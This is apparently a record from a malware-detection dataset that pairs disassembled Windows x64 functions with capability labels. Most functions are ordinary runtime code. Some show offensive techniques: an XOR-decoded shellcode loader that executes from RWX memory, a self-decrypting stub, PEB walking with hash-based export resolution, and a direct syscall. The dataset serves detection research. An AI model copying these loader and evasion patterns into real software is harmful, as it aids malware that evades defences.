joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400290b4]
mov r12, rcx
test ebx, ebx
jle 0x140001be0
mov rax, qword [0x1400290b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001afc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001b83
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001ae0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001c02
mov rax, qword [0x1400290b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400290b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001be7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b7c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b90
add dword [0x1400290b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400290b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001b07
mov rax, qword [0x1400290b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002180
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140029120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140029100]
test rbx, rbx
je 0x1400021d4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400021cb
test r12, r12
je 0x1400021cb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021b0
lea rcx, [0x140029120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002408
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002410
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000246c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140002463
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000246e
add rax, 0x28
cmp rax, r9
jne 0x140002450
xor eax, eax
ret

Function at 0x140002470
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140002500
mov rdx, qword [0x140026730]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400024ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ee
cmp word [rax + 0x18], 0x20b
jne 0x1400024ee
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140002500
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400024d9
add r12, 0x28
cmp r12, rsi
je 0x140002500
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400024d0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140026730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002530
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002538
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002530
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002585
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000257c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002530
add rax, 0x28
cmp rax, r9
jne 0x140002568
xor eax, eax
ret

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140026730]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400025b0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025b8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025b0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140026730]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025f0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025f8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025f0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002638
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000262f
test rcx, rcx
je 0x1400025f0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002620
xor eax, eax
ret
Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140026730]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002660
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002668
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140026730]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400026a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400026a8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026a0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400026a0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026f8
add rax, 0x28
cmp r9, rax
jne 0x1400026d0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x140002710
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140026730]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002732
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002740
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002732
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002732
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002732
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000278d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400027a0
add rdx, 0x28
cmp r10, rdx
jne 0x140002778
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027af
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027bf
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002796
test ecx, ecx
jg 0x1400027a8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x1406454a0
Capabilities:
Encode data using xor

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1406454c9
pop rbp
sub rbp, 0x29
sub rbp, 0x6454a0
jmp 0x140645529
sub rsp, 0x20
jmp 0x140645539
mov rax, 0x6454a0
add rax, rbp
add rax, 0xcb
mov rcx, 0x64a
mov rdx, 0x13c1a99c
xor byte [rax], dl
inc rax
dec rcx
jne 0x140645558
jmp 0x14064556f
invalid
Function at 0x1400111db
Capabilities:
Terminate process

Disassembly:
jmp 0x140012cf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011253
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140011780
push rbp
push rsi
push rdi
sub rsp, 0x580
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x558], rax
lea rcx, [0x14002100f]
call fcn.140011352
lea rax, [rbp + 0x10]
lea rcx, [0x140019c30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x380
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x3a8], 0
jmp 0x1400117f4
mov rax, qword [rbp + 0x3a8]
inc rax
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0x380
jae 0x14001181d
mov rax, qword [rbp + 0x3a8]
movzx eax, byte [rbp + rax + 0x10]
xor eax, 0x42
mov rcx, qword [rbp + 0x3a8]
mov byte [rbp + rcx + 0x10], al
jmp 0x1400117e3
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x380
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x3c8], rax
mov r8d, 0x380
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x3c8]
call fcn.14001119f
xor ecx, ecx
call qword [rbp + 0x3c8]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140019c00]
call fcn.1400112e9
mov eax, edi
mov rcx, qword [rbp + 0x558]
xor rcx, rbp
call fcn.14001119a
lea rsp, [rbp + 0x560]
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001125d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014040
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014060
xor al, al
jmp 0x1400140e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014073
xor al, al
jmp 0x1400140e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001409d
xor al, al
jmp 0x1400140e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400140b1
xor al, al
jmp 0x1400140e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400140c3
xor al, al
jmp 0x1400140e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400140df
xor al, al
jmp 0x1400140e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001c70
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea r11, [0x140003840]
mov rax, qword [rcx + 8]
mov rbx, qword [rcx]
mov rcx, rax
mov rsi, rax
shr rcx, 0x20
shr rsi, 0x38
mov byte [rsp + 0x1e], cl
mov rcx, rax
lea r14, [rdx + 0x10]
shr rcx, 0x28
mov qword [rdx], rbx
mov byte [rsp + 0x18], cl
mov rcx, rax
shr rcx, 0x30
mov qword [rdx + 8], rax
mov byte [rsp + 0x1f], cl
mov qword [rsp + 0x10], rsi
lea rsi, [0x1400207a1]
nop dword [rax]
movzx ecx, byte [rsp + 0x1e]
movzx r9d, byte [rsp + 0x10]
movzx r8d, byte [rsp + 0x1f]
movzx edx, byte [rsp + 0x18]
movzx ecx, byte [r11 + rcx]
movzx r9d, byte [r11 + r9]
movzx r8d, byte [r11 + r8]
movzx edx, byte [r11 + rdx]
shl ecx, 8
xor dl, byte [rsi]
or ecx, r9d
movzx edx, dl
shl ecx, 8
or ecx, r8d
shl ecx, 8
or ecx, edx
xor ecx, ebx
shr rbx, 0x20
xor ebx, ecx
mov r13d, ecx
mov r12d, ecx
mov edx, ebx
mov r15d, ebx
mov r9d, ebx
shr r13d, 0x18
shr edx, 0x18
shr r15d, 0x10
xor r9d, eax
movzx r13d, r13b
movzx edx, dl
movzx r15d, r15b
shr rax, 0x20
mov edi, r9d
shl rdx, 8
mov r8d, eax
shr r12d, 0x10
mov ebp, r9d
or rdx, r15
xor r8d, r9d
movzx r12d, r12b
shr edi, 0x10
mov qword [rsp], rdx
movzx edx, bh
movzx ebx, bl
mov eax, r8d
mov r15, rdx
mov rdx, qword [rsp]
movzx eax, ah
mov r10d, r8d
mov dword [rsp + 0x18], eax
mov eax, r8d
shr r10d, 0x10
movzx edi, dil
shl rdx, 8
shr eax, 0x18
mov byte [rsp + 0x1f], r10b
movzx r10d, r10b
or rdx, r15
mov byte [rsp + 0x10], al
movzx eax, al
shr ebp, 0x18
shl rdx, 8
mov byte [rsp + 0x1e], r8b
movzx ebp, bpl
or rdx, rbx
movzx ebx, ch
movzx ecx, cl
shl rdx, 8
or rdx, r13
shl rdx, 8
or rdx, r12
shl rdx, 8
or rdx, rbx
shl rax, 8
mov ebx, r8d
movzx r8d, r8b
or rax, r10
movzx ebx, bh
shl rdx, 8
add rsi, 1
shl rax, 8
or rdx, rcx
add r14, 0x10
or rax, rbx
mov ebx, r9d
movzx r9d, r9b
mov qword [rsp], rdx
shl rax, 8
or rax, r8
shl rax, 8
or rax, rbp
shl rax, 8
or rax, rdi
movzx edi, bh
mov rbx, qword [rsp]
shl rax, 8
or rax, rdi
lea rdi, [0x1400207ab]
shl rax, 8
or rax, r9
mov qword [rsp + 8], rax
movdqa xmm0, xmmword [rsp]
movups xmmword [r14 - 0x10], xmm0
cmp rsi, rdi
jne 0x140001cd0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002507
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x38], rax
mov dword [rbp - 4], 0
jmp 0x1400025f7
call fcn.1400021dd
invalid
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x18]
cmp dword [rbp - 4], eax
jb 0x140002590
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140002790
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov rax, qword gs:[0x30]
xor r9d, r9d
mov edi, ecx
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rbx, qword [rax + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov edx, dword [rax + rbx + 0x88]
add rdx, rbx
mov r14d, dword [rdx + 0x1c]
mov esi, dword [rdx + 0x20]
add r14, rbx
mov r11d, dword [rdx + 0x24]
add rsi, rbx
mov r15d, dword [rdx + 0x14]
add r11, rbx
mov r12d, dword [rdx + 0x18]
test r15, r15
je 0x140002863
mov qword [rsp + 0x20], rbp
nop word [rax + rax]
mov eax, dword [r14 + r9*4]
test eax, eax
je 0x14000284f
xor r8d, r8d
mov ebp, eax
test r12d, r12d
je 0x14000284f
movzx eax, word [r11 + r8*2]
cmp rax, r9
jne 0x140002847
mov edx, dword [rsi + r8*4]
xor eax, eax
add rdx, rbx
movzx ecx, byte [rdx]
test cl, cl
je 0x140002843
nop dword [rax]
ror eax, 7
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140002830
cmp edi, eax
je 0x140002859
inc r8
cmp r8, r12
jb 0x140002812
inc r9
cmp r9, r15
jb 0x140002800
jmp 0x14000285e
movzx eax, byte [rbx + rbp + 4]
mov rbp, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r15
pop r14
pop r12
ret
Function at 0x140004ae1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x14000615c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000618a
xor eax, eax
jmp 0x140006270
cmp qword [rcx + 0x68], 0
je 0x14000619b
call fcn.14000628c
jmp 0x140006270
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400061b2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400061b4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400061e6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140021ab0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000626a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000621d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140006246
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000f35c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000626a
cmp rsi, rbx
ja 0x140006224
test rsi, rsi
je 0x14000626a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000f35c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140007b60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007baa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007baa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007baa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007baa
cmp dword [rcx + 0x84], 0xe
jbe 0x140007baa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007bac
xor al, al
add rsp, 0x28
ret
Function at 0x14000e434
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000e29f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e29f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e29f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e29f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e29f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e29f
cmp dword [rcx + 0xf8], 0
je 0x14000e29f
mov ecx, ebx
call fcn.14000e350
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000e12c
nop
cmp dword [rbp + 0x20], 0
je 0x14000e2ed
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000e2f8
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000e230
Function at 0x1400172a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400077e0
sub rsp, rax
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140015d2c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400172ef
mov rax, rbp
jmp 0x1400173f7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x35560]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400183c0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x35560]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400173f3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400173f3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400183c0
test rax, rax
js 0x1400173f3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400173f3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400173e5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400173e5
cmp byte [rcx], 0xd
jne 0x1400173cb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400173da
cmp byte [rcx + 1], 0xa
jne 0x1400173da
inc rcx
jmp 0x1400173da
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x33470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400173ad
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400173f7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400077b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140017618
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001762e
mov al, 1
jmp 0x14001768e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001763f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001768c
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001c30c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001768c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001768c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001768c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001768e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140017760
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140035560]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400177b7
cmp word [rdx], r13w
jne 0x1400177b7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400177bc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400178e1
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140017902
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400177f5
mov rdx, r9
mov word [rbx], cx
jmp 0x14001781c
cmp r9, r8
jae 0x14001782c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400177d6
jmp 0x1400178e1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400178d6
cmp dword [rsp + 0x80], esi
je 0x1400178d6
lea r8, [0x140035560]
mov rax, qword [r8 + rbp*8]
